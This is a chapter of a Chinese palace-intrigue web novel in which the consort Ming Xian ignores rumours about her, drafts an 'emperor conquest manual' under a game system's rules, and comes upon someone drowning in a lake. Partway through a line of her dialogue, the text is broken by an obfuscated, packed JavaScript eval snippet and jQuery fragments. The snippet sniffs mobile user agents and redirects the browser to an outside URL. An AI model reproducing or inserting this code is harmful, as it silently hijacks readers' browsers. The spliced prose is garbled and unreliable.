13. 流言
作品:《朕的宠妃是主控》 在被萧勉下令静养的那些日子里,明羡竟然真老实的没做什么其他事情,倒是第二天就听到有人传她欺凌宫中婢子,手段之残忍令人啧啧称舌,仿佛亲见一样。
一开始萧勉还传唤了宠音问了这些情况是否属实,让她着手处理。
谁曾想那些妃子直接越过有协理六宫之权的淑妃,告到御前让陛下做主,说什么明嫔长此以往,对宫中风气不好之类的,理由说得那叫一个恳切。
被国事缠身的萧勉被她们闹得烦了,面上虽好声好气的说会彻查,但过几日又没了下文。
妃子们依然锲而不舍,几乎是每天都有一个人跑到养心殿长跪不起,请求萧勉下旨彻查。
甚至还有妃子把明羡曾虐待的宫女带了过来,那宫女说明羡克扣她俸禄,她讨要却被打了板子。
李德安闻言,不由得低低叹了一声,腰身微弯,脸上堆起几分愁苦又为难的神色,哎呦一声道:“娘娘,实在不巧,陛下今日一早便往太后宫中问安去了,眼下并不在殿内。”
那妃子只好领着宫人回去了。
隔几日又有妃子带来了个太监,说着明羡不准他在宫中对食,把他们一对恩爱鸳鸯拆散不说,还给他对食的那个宫女安排其他太监,简直不是人!
每天的状告一天一个不重样。
养心殿可以说是变成了公堂。
李德安也每次要么弯腰赔笑,说陛下正巧不在殿中;要么便含糊应下,只说会派人查办,定会给个交代。
可事后往往杳无音信,拖了几日,就又会有其他妃嫔跑到养心殿,含泪激愤地再次哭诉到他眼前。
一连数天都这样,也不是个办法。
终于在一个午后,天色沉澹,宫檐下悄无声息。
萧勉搁下笔,抬眼吩咐随侍在侧的李德安:“你去昭阳宫走一趟。”
李德安心下了然,领命退去。
行至昭阳宫门前,刚命人向内通传,便见一名宫女自殿内缓步走出,她面色苍白,身形微晃,气息也显得虚弱。
李德安不由得心下一动,想起宫中近来关于明嫔虐打下人的传言,莫不是真的?
顿时,目光也带上了几分审视和疑虑,叫她上来问了些话。
谁知那宫女上前规规矩矩行了一礼后,闻言却很震惊,连忙摇头说没有,那些都是谣言。
李德安放下心来,不打人就好,不然他可不保证明羡不会打自己。
细问之下,才知道这宫女名唤朝露,正是前几天在景和宫护主而被姜贵妃刺伤的那位。
此时,她手中还托着一份尚未送进的膳食,小声询问道:“小主尚在里间睡着,可是陛下此刻要传见?”
李德安连忙说不是,随即正色将宫中流言已闹至御前的情形大致说了下,又道:“若当真无此事,还望明嫔娘娘早日澄清,免得风波愈演愈烈。”
毕竟陛下虽然对后宫一些争宠手段睁一只眼闭一只眼,但隔几日就这样是真消受不了。
前段时日刚处理完赏花宴的毒酒一事,后脚明羡又生事端,每回还不重样,关键这人也不来御前说明缘由,任由这些传言发展下去。
朝露一听犯了难。
“娘娘这几日,时常睡到午时。”
李德安听罢,微微一怔,“这......”
“午后也常是如此。”她稍作停顿,似在斟酌词句,才又道:“小主还说......流言既起,便任人去说。大意是,天大的事也没有她睡觉重要。”
也就是她不会管,谁觉得烦谁去管。
李德安一时无言,只得默然折返,将朝露的话一五一十地禀给了萧勉。
萧勉听罢,眼底掠过一丝极淡的讽意,低声道:“她这是在怨朕。”
李德安屏息垂首,未敢接话。
宫中人人都心知肚明赏花宴上那杯毒酒,幕后之人多半是姜贵妃姜如宜。可查来查去,最终顶罪的却只是个因嫉妒明羡得宠而被推出来的粗使宫女。再往下深究,一切线索便悄然断绝,加之徐妃出面作证,此事也再无破绽可寻。
宠音虽有意彻查到底,萧勉却未再给予明旨。
换言之,此事到此,必须了结。
最终的结果就是那名宫女被严惩,御膳房也换了一拨人,可姜如宜除了禁足之外,什么事也没有。
萧勉忽而极轻地笑了一声,听不出什么情绪,只命李德安盯着明羡,有异常动静再回禀他。
至于那些日日前来诉苦告状的妃嫔,萧勉随手翻开一本奏章,目光未抬,只淡淡道:“近日事多,传话给姜贵妃,让她安分些。”
李德安领命后无声退了下去。
暮色渐沉时,明羡才悠悠转醒。
用过晚膳后,她便又闭门不出,只将自己关在内室,不知在房中做些什么,连贴身宫人也一概屏退,不许入内。
檐下,朝露望着紧闭的殿门,轻声对赵富春道:“小主已连着好几日将自己关在房里,这般下去实在教人放心不下。”
赵富春抬手挠了挠后脑,憨憨一笑:“咱们小主那性子,你又不是不知。依我看,她断不会真做出什么糊涂事来。”
他略一沉吟,又道:“许是前些日子被陛下禁足,心里还闷着气呢。明日咱们让御膳房多备几道她爱吃的点心,小主吃得高兴了,兴许眉头也就舒展开了。”
朝露听罢,眼底微微一亮,觉得这主意甚好,转身便往御膳房去吩咐。
赵富春望着她匆匆走远的背影,又摸了摸脑袋,这才慢悠悠踱步离开。
殿内,明羡从满地散乱的纸页间直起身来,手中攥着一支笔头早已秃了大半的毛笔,颊边还沾着几抹未擦净的墨迹。
“看,”她扬起手中一张大幅宣纸,得意地弯起嘴角,“皇帝攻略手册。”
纸上密密麻麻,都是一些涂抹勾画的痕迹。
上头一条条罗列着诸如:要获得萧勉的好感度,可以每天给他送爱吃的食物表示自己的体贴,或者可以蹲在他上下朝的地方装偶遇塑造傻白甜人设,当萧勉去御花园游逛时跳舞唱歌吸引注意,如果以上都行不通还可以给他来一场英雌救美的戏码,保证他对自己好感度蹭蹭往上涨。
正盘算间,脑海深处却骤然响起一道冰冷的警示:“禁止玩家以危害关键人物性命之方式获取好感。”
明羡“啧”了一声,顺手一挥丢掉了毛笔,端起案上的茶盏抿了一口,“你懂什么?我又不是真要他死。”
看着这份墨迹斑斑的攻略手册,明羡极为满意,“之前都太被动了,等我做好全套攻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102811|195652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
略,你们就等着被我折服吧。”
说完,还又规划起了路线,比如萧勉可能会经过哪条路上下朝,又平常爱去哪里逛。
甚至还特意喊来了宠音给她意见。
“陛下不是有旨,无他准许不得探视么?”殿内,宠音面带几分诧异地问。
明羡轻轻摆手,眼中掠过一丝狡黠的笑意,“我当然知道啊,所以这不是来找你了吗,是我探视,不是你。”
“近日关于你的谣言在宫中四起,你作何打算?”宠音望着眼前一脸兴致勃勃的明羡,抬眸问她。
明羡“啊”了一声,恍惚想起好像有这么一件事,“不重要,你也不用去管,先看看这个。”
宠音无奈,示意贴身宫女去门外留意动静,这才接过明羡递来的一卷纸页。
展开细读,只见满纸勾画。
她越看越怔,终是忍不住抬眼:“你这是......对陛下动了真心?”
明羡伸出一根手指晃了晃,“不,我这是在攻略。”
宠音没明白她的意思:“何为攻略?”
明羡简单道:“就是让别人对自己产生好感的一种说法。”
“陛下对你应该是喜爱的,后宫中他几乎只召幸你一人。”宠音更不明白了。
明羡却冷笑一声,“他那是做给别人看的,就是个装男。他可不喜欢我了,别被这种人蒙骗了。”
“如果按你所说,陛下对你有其他心思,那你又为何还要如此费心接近?”宠音还是不懂。
明羡轻轻一叹,愁容满面,“没办法啊,这是我的任务。”
以为她想吗,比起好感攻略,还不如暗杀来得刺激爽快呢。
虽然她不清楚明羡为什么这样说,但见人一脸无奈,她便想到宫中那么多人争宠陷害,无非也是为了在这深宫立身,甚至能够荫庇家族。
宠音便不再多说,垂首借着灯火仔细看完这份攻略手册后,只是欲言又止。
“怎么样?”明羡眼睛亮亮地凑近她,“成功几率大不大?”
静默片刻,宠音忽然伸手轻轻捏了捏她的脸颊,那眼神宛若在看“地主家的傻儿子”,她悠悠道:“按这样,你就接着被禁足吧。”
“什么?”明羡不服,声音扬了起来,“怎么可能,我看一些宫斗游戏里都是这样的。”
“游戏?”宠音挑眉一笑,将那份手册搁回案上,语调拉长:“这可是后宫,不是游戏。”
“你等着我的好消息吧。”明羡起身,拿回册子,然后背对着宠音挥了挥手,潇洒转身离开。
宠音看着她略微不服气的背影又轻轻笑了笑。
一路上,明羡刻意避着人走,专拣僻静小径,又悄然翻过几处低矮宫墙。
正要经过一片用作游赏的澄湖时,风中忽然飘来断断续续的呼救声:
“救命啊——!”
明羡脚下一顿,以为自己出现幻听了。
“有、有人吗......救救我......”
她循声走近几步,借着朦胧夜色,竟见湖中有个身影正挣扎起伏,水花凌乱。
明羡心头一紧,刚要上前,那道熟悉的系统音在脑海中倏地响起:
「玩家新手期支线任务“宫湖夜影”已触发。」

